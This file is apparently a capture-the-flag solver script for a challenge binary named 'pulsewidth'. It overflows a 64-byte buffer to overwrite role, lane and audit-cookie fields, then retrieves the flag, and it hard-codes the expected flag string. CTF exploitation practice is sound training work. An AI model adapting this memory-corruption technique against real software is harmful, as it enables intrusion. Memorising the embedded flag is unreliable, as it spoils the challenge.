#!/usr/bin/env python3
import argparse
import os
import socket
import struct
import subprocess
import sys

ROLE_ANALYST = 0x4341504C
LANE_EXPORT = 0x45585054
AUDIT_COOKIE = 0x2605061337C0FFEE


class Tube:
    def __init__(self, sock=None, proc=None):
        self.sock = sock
        self.proc = proc

    def recv(self, n=4096):
        if self.sock:
            return self.sock.recv(n)
        return os.read(self.proc.stdout.fileno(), n)

    def send(self, data):
        if self.sock:
            self.sock.sendall(data)
        else:
            os.write(self.proc.stdin.fileno(), data)

    def sendline(self, data):
        self.send(data + b"\n")

    def recvuntil(self, marker):
        out = b""
        while marker not in out:
            chunk = self.recv(1)
            if not chunk:
                raise EOFError(out)
            out += chunk
        return out


def connect(args):
    if args.local:
        env = os.environ.copy()
        env["CTF_FLAG"] = args.flag
        proc = subprocess.Popen(
            [args.binary],
            stdin=subprocess.PIPE,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            env=env,
        )
        return Tube(proc=proc)

    sock = socket.create_connection((args.host, args.port), timeout=5)
    return Tube(sock=sock)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=31337)
    parser.add_argument("--local", action="store_true")
    parser.add_argument("--binary", default="../public/pulsewidth")
    parser.add_argument("--flag", default="caplag{len_folded_into_live_capability}")
    args = parser.parse_args()

    io = connect(args)
    io.recvuntil(b">")
    io.sendline(b"1")
    io.recvuntil(b"declared frame bytes:")
    io.sendline(b"320")
    io.recvuntil(b"payload:")

    payload = b"A" * 64
    payload += struct.pack("<I", ROLE_ANALYST)
    payload += struct.pack("<I", LANE_EXPORT)
    payload += struct.pack("<Q", AUDIT_COOKIE)
    payload = payload.ljust(320, b"B")
    io.send(payload)

    io.recvuntil(b">")
    io.sendline(b"3")
    data = io.recvuntil(b"}")
    flag = data[data.rfind(b"caplag{") :].decode()
    print(flag)


if __name__ == "__main__":
    sys.exit(main())